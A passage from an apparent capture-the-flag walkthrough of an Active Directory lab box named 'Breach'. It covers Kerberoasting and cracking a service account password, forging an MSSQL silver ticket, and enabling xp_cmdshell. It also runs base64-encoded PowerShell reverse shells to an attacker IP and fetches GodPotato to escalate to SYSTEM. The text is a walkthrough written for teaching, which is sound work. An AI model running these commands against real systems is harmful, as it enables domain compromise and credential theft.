JULIA.WONG::BREACH:a1905663fa6d011b:859d2dc6d8872075fc28af6fcdebd0a2:010100000000000080922cdc1695dc018084f250342348b3000000000200080034004b004c005a0001001e00570049004e002d004d0044003300370053004e005300370049004200300004003400570049004e002d004d0044003300370053004e00530037004900420030002e0034004b004c005a002e004c004f00430041004c000300140034004b004c005a002e004c004f00430041004c000500140034004b004c005a002e004c004f00430041004c000700080080922cdc1695dc01060004000200000008003000300000000000000001000000002000007dfd839998abfeaf3543946f2887dff7fe3639d97e950f696e379d16007f62850a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310036000000000000000000:Computer1
...[snip]...

It cracks in about three seconds on my machine.

Validate

I’ll use netexec to validate the creds:

oxdf@hacky$ netexec smb BREACHDC.breach.vl -u Julia.Wong -p Computer1
SMB         10.129.10.28    445    BREACHDC         [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) (Guest Auth:True)
SMB         10.129.10.28    445    BREACHDC         [+] breach.vl\Julia.Wong:Computer1 

They don’t work for WinRM or RDP (RDP shows green for good creds but without “Pwned!” I won’t be able to connect):

oxdf@hacky$ netexec winrm BREACHDC.breach.vl -u Julia.Wong -p Computer1
WINRM       10.129.10.28    5985   BREACHDC         [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) 
WINRM       10.129.10.28    5985   BREACHDC         [-] breach.vl\Julia.Wong:Computer1
oxdf@hacky$ netexec rdp BREACHDC.breach.vl -u Julia.Wong -p Computer1
RDP         10.129.10.28    3389   BREACHDC         [*] Windows 10 or Windows Server 2016 Build 20348 (name:BREACHDC) (domain:breach.vl) (nla:True)
RDP         10.129.10.28    3389   BREACHDC         [+] breach.vl\Julia.Wong:Computer1 

I’ll find the user flag in the share share:

oxdf@hacky$ smbclient //BREACHDC.breach.vl/share -U 'Julia.Wong%Computer1'
Try "help" to get a list of possible commands.                                                                                         
smb: \> cd transfer\julia.wong\
smb: \transfer\julia.wong\> ls
  .                                   D        0  Thu Apr 17 00:38:12 2025
  ..                                  D        0  Tue Feb  3 14:10:18 2026
  user.txt                            A       32  Thu Apr 17 00:38:22 2025

                7863807 blocks of size 4096. 1516382 blocks available
smb: \transfer\julia.wong\> get user.txt 
getting file \transfer\julia.wong\user.txt of size 32 as user.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \transfer\julia.wong\> ^C
oxdf@hacky$ cat user.txt
55d33e52************************

Auth as svc_mssql

Enumeration

I’ll grab BloodHound data using RustHound-CE:

oxdf@hacky$ rusthound-ce --domain breach.vl -u Julia.Wong -p Computer1 -z 
---------------------------------------------------
Initializing RustHound-CE at 22:25:12 on 02/03/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-02-03T22:25:12Z INFO  rusthound_ce] Verbosity level: Info
[2026-02-03T22:25:12Z INFO  rusthound_ce] Collection method: All
[2026-02-03T22:25:12Z INFO  rusthound_ce::ldap] Connected to BREACH.VL Active Directory!
[2026-02-03T22:25:12Z INFO  rusthound_ce::ldap] Starting data collection...
[2026-02-03T22:25:12Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:12Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=breach,DC=vl
[2026-02-03T22:25:12Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=breach,DC=vl
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=breach,DC=vl
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=breach,DC=vl
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:13Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=breach,DC=vl
[2026-02-03T22:25:13Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
[2026-02-03T22:25:13Z INFO  rusthound_ce::objects::domain] MachineAccountQuota: 10
[2026-02-03T22:25:13Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 15 users parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 62 groups parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 1 computers parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 2 ous parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 1 domains parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] 73 containers parsed!
[2026-02-03T22:25:13Z INFO  rusthound_ce::json::maker::common] .//20260203222513_breach-vl_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 22:25:13 on 02/03/26! Happy Graphing!

I’ll start the BloodHound-CE Docker and upload the data. I’ll mark Julia.Wong as owned, but they have no interesting outbound control.

The pre-built search for “All Kerberoastable Users” returns one:

image-20260203175630972

Kerberoast

I’ll use netexec to get Kerberoastable hashes:

oxdf@hacky$ netexec ldap BREACHDC.breach.vl -u Julia.Wong -p Computer1 --kerberoast kerberoasting
LDAP        10.129.10.28    389    BREACHDC         [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.10.28    389    BREACHDC         [+] breach.vl\Julia.Wong:Computer1 
LDAP        10.129.10.28    389    BREACHDC         [*] Skipping disabled account: krbtgt
LDAP        10.129.10.28    389    BREACHDC         [*] Total of records returned 1
LDAP        10.129.10.28    389    BREACHDC         [*] sAMAccountName: svc_mssql, memberOf: [], pwdLastSet: 2022-02-17 10:43:08.106169, lastLogon: 2026-02-03 12:20:45.967821
LDAP        10.129.10.28    389    BREACHDC         $krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl\svc_mssql*$8a00486bd5075b4f5d8618b1488d7b9a$c1db4696a5b04565b9bdb87643c639cd33264153ccd268742dbcc99a00d5fb6b6a7980c0ecd946cf9957df9eb2136b181b568766a6bf61f87e74b9f5444f0917c78e7481217bc2c2cb09434e0184443494abb602069615aba76b2efe1c9f0603cdd7258b9ac3e7ef43f31537f8f798740eb2697bf83e000cac32b7bbd1f18efa3a27a9ade02ae39293e8a7b8fc6e1f5d8ca34c886eb557502b332b905b18a45a48049aad093ebf6e8c5d4e4cd4fbd99b34ba1d420fb8f7f53dd193b86431570a33f131f62aa1c581523ae19f2ad9061a8fe4fbe6f40a8ad164bfeed3c7c36496c97774f58de26406ec65cd887eac2514670bf33bc96a996eb22d3d2f0ddafcca8aaa2e28ad95c603448688de2659f316aaa260a5cd3648e62db846a526b3a7068242831a19f5501e3195c4e4e76092aa561f9414f9e4f3b1be32a892e00bbef233a851208deac202147aaff01270052f60d58ecdcc1e0832782b3676f87b4a175ab434874d50d7f9619f664f8cb3432b391b51043ebd28330c61937acc2cf5b7bda7cb7bc47363a2ccbdc05791072ecafc6f90e450f75a47facaa3634a69f115eeed0c3325e74668d571e605318cf40c9d224bec39ff59da4d4d8a0d6a466df27b82343d34c18afe9284f2602f6f4722d06a13d504754870eadaf868a6d87764d95f8cdbedaa05b50db3d558849dff321e74d2d0014449d33f23945c4d9ae71477036707a5d595c69deb04c9db09612894ad11d1588d76c6c8185ef14e900c1c94d81f98de5560fa5ce5eef19b3e6ed7ef6a8092b9301d610efe61ff756de71282911b4cfaa277a62fde19d3566f9a2288d7517807af79d2a5ee74811f1072fbe1ffe4b35291f72f65466d8f1378f9f2f57a4e95e93e4900db4366e0a18caefeeb45a843862914f1671b1fa74d6e17f805fdf497a2a1f93b4b27fae6a0a4ecc749269074ce1042025ab197e48670c10d23ba67c2276df9d15dfa58acd52ab7994fc8551c860730d60c69e2577a1a0d63f639809fb479c7a34690e4d0ea270a8e1767c20b3fbbbc3b2832963da54f63c26b6a93730471af0c24c5f2e087146413a2e7e23b804adbcbf7e70ccb235466b9cab0ce6cce38627d4ff0baa8b4c7af970771762ee17af0912f4f6ed8b1aa934e09932a458fdfc62559ba394df8da358644524cd2ff0585fe4688127a0777429a9d0eca1488efc57ee8d9c095bc2a442d8191bea627901e403644b2263fb07be7370e0323c2b9d995b00cd1be1196226ff6ef6039e9aa60b59cc12fcd83c9ec0493b6bd8725e5f918ca34b71a2812dc986ea02fb21c2b80f3b764e03fefe71ed421a2719fdc5ba1b560c6f3ab85e048782199f9b226015eab78241af8e6a6a977822c196d165fc9edef7bfd4d44aece349c9c4769af90689c59c6903ff9b6325032f65bf1e7b5e666b3ddf8f2af3a5b6dc102a4d9c8aa601e1bab2c9c3af4d5b94ee54e7d

It saves that to a file that hashcat can handle, and it cracks it in five seconds on my machine:

$ hashcat ./kerberoasting /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
...[snip]...
$krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl\svc_mssql*$8a00486bd5075b4f5d8618b1488d7b9a$c1db4696a5b04565b9bdb87643c639cd33264153ccd268742dbcc99a00d5fb6b6a7980c0ecd946cf9957df9eb2136b181b568766a6bf61f87e74b9f5444f0917c78e7481217bc2c2cb09434e0184443494abb602069615aba76b2efe1c9f0603cdd7258b9ac3e7ef43f31537f8f798740eb2697bf83e000cac32b7bbd1f18efa3a27a9ade02ae39293e8a7b8fc6e1f5d8ca34c886eb557502b332b905b18a45a48049aad093ebf6e8c5d4e4cd4fbd99b34ba1d420fb8f7f53dd193b86431570a33f131f62aa1c581523ae19f2ad9061a8fe4fbe6f40a8ad164bfeed3c7c36496c97774f58de26406ec65cd887eac2514670bf33bc96a996eb22d3d2f0ddafcca8aaa2e28ad95c603448688de2659f316aaa260a5cd3648e62db846a526b3a7068242831a19f5501e3195c4e4e76092aa561f9414f9e4f3b1be32a892e00bbef233a851208deac202147aaff01270052f60d58ecdcc1e0832782b3676f87b4a175ab434874d50d7f9619f664f8cb3432b391b51043ebd28330c61937acc2cf5b7bda7cb7bc47363a2ccbdc05791072ecafc6f90e450f75a47facaa3634a69f115eeed0c3325e74668d571e605318cf40c9d224bec39ff59da4d4d8a0d6a466df27b82343d34c18afe9284f2602f6f4722d06a13d504754870eadaf868a6d87764d95f8cdbedaa05b50db3d558849dff321e74d2d0014449d33f23945c4d9ae71477036707a5d595c69deb04c9db09612894ad11d1588d76c6c8185ef14e900c1c94d81f98de5560fa5ce5eef19b3e6ed7ef6a8092b9301d610efe61ff756de71282911b4cfaa277a62fde19d3566f9a2288d7517807af79d2a5ee74811f1072fbe1ffe4b35291f72f65466d8f1378f9f2f57a4e95e93e4900db4366e0a18caefeeb45a843862914f1671b1fa74d6e17f805fdf497a2a1f93b4b27fae6a0a4ecc749269074ce1042025ab197e48670c10d23ba67c2276df9d15dfa58acd52ab7994fc8551c860730d60c69e2577a1a0d63f639809fb479c7a34690e4d0ea270a8e1767c20b3fbbbc3b2832963da54f63c26b6a93730471af0c24c5f2e087146413a2e7e23b804adbcbf7e70ccb235466b9cab0ce6cce38627d4ff0baa8b4c7af970771762ee17af0912f4f6ed8b1aa934e09932a458fdfc62559ba394df8da358644524cd2ff0585fe4688127a0777429a9d0eca1488efc57ee8d9c095bc2a442d8191bea627901e403644b2263fb07be7370e0323c2b9d995b00cd1be1196226ff6ef6039e9aa60b59cc12fcd83c9ec0493b6bd8725e5f918ca34b71a2812dc986ea02fb21c2b80f3b764e03fefe71ed421a2719fdc5ba1b560c6f3ab85e048782199f9b226015eab78241af8e6a6a977822c196d165fc9edef7bfd4d44aece349c9c4769af90689c59c6903ff9b6325032f65bf1e7b5e666b3ddf8f2af3a5b6dc102a4d9c8aa601e1bab2c9c3af4d5b94ee54e7d:Trustno1
...[snip]...

Validate

The creds are good:

oxdf@hacky$ netexec smb BREACHDC.breach.vl -u svc_mssql -p Trustno1
SMB         10.129.10.28    445    BREACHDC         [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True) (Guest Auth:True)
SMB         10.129.10.28    445    BREACHDC         [+] breach.vl\svc_mssql:Trustno1 

But not for shell access:

oxdf@hacky$ netexec winrm BREACHDC.breach.vl -u svc_mssql -p Trustno1
WINRM       10.129.10.28    5985   BREACHDC         [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl) 
WINRM       10.129.10.28    5985   BREACHDC         [-] breach.vl\svc_mssql:Trustno1
oxdf@hacky$ netexec rdp BREACHDC.breach.vl -u svc_mssql -p Trustno1
RDP         10.129.10.28    3389   BREACHDC         [*] Windows 10 or Windows Server 2016 Build 20348 (name:BREACHDC) (domain:breach.vl) (nla:True)
RDP         10.129.10.28    3389   BREACHDC         [+] breach.vl\svc_mssql:Trustno1

Shell as SYSTEM

Enumeration

Both Julia.Wong and svc_mssql can connect to MSSQL:

oxdf@hacky$ netexec mssql BREACHDC.breach.vl -u svc_mssql -p Trustno1
MSSQL       10.129.10.28    1433   BREACHDC         [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl)
MSSQL       10.129.10.28    1433   BREACHDC         [+] breach.vl\svc_mssql:Trustno1 
oxdf@hacky$ netexec mssql BREACHDC.breach.vl -u Julia.Wong -p Computer1
MSSQL       10.129.10.28    1433   BREACHDC         [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl)
MSSQL       10.129.10.28    1433   BREACHDC         [+] breach.vl\Julia.Wong:Computer1

Interestingly, if I try to connect with mssqlclient.py using the hostname and these creds, they fail:

oxdf@hacky$ mssqlclient.py breach.vl\svc_mssql:Trustno1@BREACHDC.breach.vl -windows-auth
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[-] ERROR(BREACHDC\SQLEXPRESS): Line 1: Login failed for user 'BREACH\Guest'.

This is an issue with how mssqlclient.py handles NTLM auth. Using the IP works:

oxdf@hacky$ mssqlclient.py 'breach.vl/svc_mssql:Trustno1@10.129.10.28' -windows-auth
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\svc_mssql  guest@master)>

Both users I have so far are mapped to the guest account, which has no interesting privileges. I can try to look at how logins map to MSSQL accounts, but it only shows that the sa user is admin, and the Users group is not (which maps to guest):

SQL (BREACH\svc_mssql  guest@master)> enum_logins
name            type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
-------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa              SQL_LOGIN                 1          1               0             0            0              0           0           0           0   
BUILTIN\Users   WINDOWS_GROUP             0          0               0             0            0              0           0           0           0  

It is not uncommon for guest users to not be able to list all the user login mappings.

The svc_mssql use does have an SPN:

image-20260204211104316

If the name didn’t give it away, that’s a very good signal that this account is what the MSSQL service is running as.

Silver Ticket

Background

A silver ticket is a forged Kerberos service ticket (TGS) created using the NTLM hash of a service account. Unlike a golden ticket (which forges a TGT using the krbtgt hash), a silver ticket targets a specific service. In this case, because I have the NTLM hash (or the raw password which makes it trivial to calculate the NTLM hash) of the svc_mssql account, I can craft service tickets (TGS) for the MSSQL service. I’ve shown some more complex abusing of silver tickets for MSSQL in Signed.

TGS as Administrator

To create a TGS, I’ll need:

  • The NTLM hash of the service account password.
  • The domain SID

To get the hash, I’ll calculate it using Python’s md4 hash:

oxdf@hacky$ python3 -c 'import hashlib; print(hashlib.new("md4", "Trustno1".encode("utf-16le")).hexdigest())'
69596c7aa1e8daee17f8e78870e25a5c

The domain SID is available in BloodHound:

image-20260205073213814

Guessing at what users may map to sysadmin on MSSQL, Administrator seems like a good place to start:

oxdf@hacky$ ticketer.py -nthash 69596c7aa1e8daee17f8e78870e25a5c -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn MSSQLSvc/breachdc.breach.vl:1433 Administrator                                                
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache

Now I’ll use that ticket to connect to MSSQL:

oxdf@hacky$ KRB5CCNAME=Administrator.ccache mssqlclient.py -no-pass -k BREACHDC.breach.vl            
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\Administrator  dbo@master)>

The connection is as the dbo user! enum_logins shows why:

SQL (BREACH\Administrator  dbo@master)> enum_logins
name                                 type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
----------------------------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa                                   SQL_LOGIN                 1          1               0             0            0              0           0           0           0   
##MS_PolicyEventProcessingLogin##    SQL_LOGIN                 1          0               0             0            0              0           0           0           0   
##MS_PolicyTsqlExecutionLogin##      SQL_LOGIN                 1          0               0             0            0              0           0           0           0   
BREACH\Administrator                 WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
NT SERVICE\SQLWriter                 WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
NT SERVICE\Winmgmt                   WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
NT Service\MSSQL$SQLEXPRESS          WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
BUILTIN\Users                        WINDOWS_GROUP             0          0               0             0            0              0           0           0           0   
NT AUTHORITY\SYSTEM                  WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0   
NT SERVICE\SQLTELEMETRY$SQLEXPRESS   WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0

The Administrator user (along with NT SERVICE\SQLWriter, NT SERVICE\Winmgmt, and NT Service\MSSQL$SQLEXPRESS) map to the sysadmin role.

RCE as svc_mssql

xp_cmdshell is not enabled:

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell whoami
ERROR(BREACHDC\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

As sysadmin, I can enable it:

SQL (BREACH\Administrator  dbo@master)> enable_xp_cmdshell
INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (BREACH\Administrator  dbo@master)> xp_cmdshell whoami
output             
----------------   
breach\svc_mssql   
NULL

From here I can grab a PowerShell #3 (Base64) reverse shell from revshells.com and run it:

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA2ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="

At my listening nc, I get a shell:

oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.10.28 57187

PS C:\Windows\system32> whoami
breach\svc_mssql

But I’m going to skip the shell and just escalate from xp_cmdshell.

Potato

svc_mssql has SeImpersonatePrivilege, which is standard for service accounts:

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell whoami /priv
output                                                                             
--------------------------------------------------------------------------------   
NULL                                                                               
PRIVILEGES INFORMATION                                                             
----------------------                                                             
NULL                                                                               
Privilege Name                Description                               State      
============================= ========================================= ========   
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   
SeMachineAccountPrivilege     Add workstations to domain                Disabled   
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    
SeImpersonatePrivilege        Impersonate a client after authentication Enabled    
SeCreateGlobalPrivilege       Create global objects                     Enabled    
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled   
NULL 

SeImpersonatePrivilege allows a process to impersonate the security token of another process. Potato attacks abuse this by tricking a SYSTEM-level process into authenticating to a local named pipe, then impersonating that token to run commands as SYSTEM.

I’ll grab a release of GodPotato and upload it to Breach:

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell powershell -c iwr http://10.10.14.16/GodPotato-NET4.exe -outfile C:\programdata\gp.exe
output   
------   
NULL 
SQL (BREACH\Administrator  dbo@master)> xp_cmdshell powershell ls C:\programdata\
output                                                                             
--------------------------------------------------------------------------------   
NULL                                                                               
NULL                                                                               
    Directory: C:\programdata                                                      
NULL                                                                               
NULL                                                                               
Mode                 LastWriteTime         Length Name                                                                    
----                 -------------         ------ ----                                                                    
d-----         2/10/2022  12:59 AM                Amazon                                                                  
d-----          2/5/2026   2:28 PM                docker                                                                  
d---s-         2/17/2022  10:26 AM                Microsoft                                                               
d-----         4/17/2025  12:40 AM                Package Cache                                                           
d-----         4/16/2025  11:23 PM                regid.1991-06.com.microsoft                                             
d-----          5/8/2021   8:20 AM                SoftwareDistribution                                                    
d-----          5/8/2021   9:36 AM                ssh                                                                     
d-----         9/15/2021   3:11 AM                USOPrivate                                                              
d-----          5/8/2021   8:20 AM                USOShared                                                               
d-----         4/16/2025  11:28 PM                VMware                                                                  
-a----          2/5/2026   2:35 PM          57344 gp.exe                                                                  
NULL                                                                               
NULL                                                                               
NULL 

It runs as SYSTEM:

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell C:\programdata\gp.exe -cmd whoami
output                                                                             
--------------------------------------------------------------------------------   
[*] CombaseModule: 0x140726839017472                                               
[*] DispatchTable: 0x140726841608056                                               
[*] UseProtseqFunction: 0x140726840900400                                          
[*] UseProtseqFunctionParamCount: 6                                                
[*] HookRPC                                                                        
[*] Start PipeServer                                                               
[*] CreateNamedPipe \\.\pipe\63b4fa37-0871-4f42-9ded-5ff0ff61fc8d\pipe\epmapper    
[*] Trigger RPCSS                                                                  
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046                            
[*] DCOM obj IPID: 00009002-0bf4-ffff-ced0-67f160442c34                            
[*] DCOM obj OXID: 0x451758f213fc24c7                                              
[*] DCOM obj OID: 0xae15748b63f3dda6                                               
[*] DCOM obj Flags: 0x281                                                          
[*] DCOM obj PublicRefs: 0x0                                                       
[*] Marshal Object bytes len: 100                                                  
[*] UnMarshal Object                                                               
[*] Pipe Connected!                                                                
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE                                      
[*] CurrentsImpersonationLevel: Impersonation                                      
[*] Start Search System Token                                                      
[*] PID : 924 Token:0x748  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation   
[*] Find System Token : True                                                       
[*] UnmarshalObject: 0x80070776                                                    
[*] CurrentUser: NT AUTHORITY\SYSTEM                                               
[*] process start with pid 3944                                                    
nt authority\system                                                                
NULL  

I’ll run a shell via potato:

SQL (BREACH\Administrator  dbo@master)> xp_cmdshell C:\programdata\gp.exe -cmd "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA2ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AG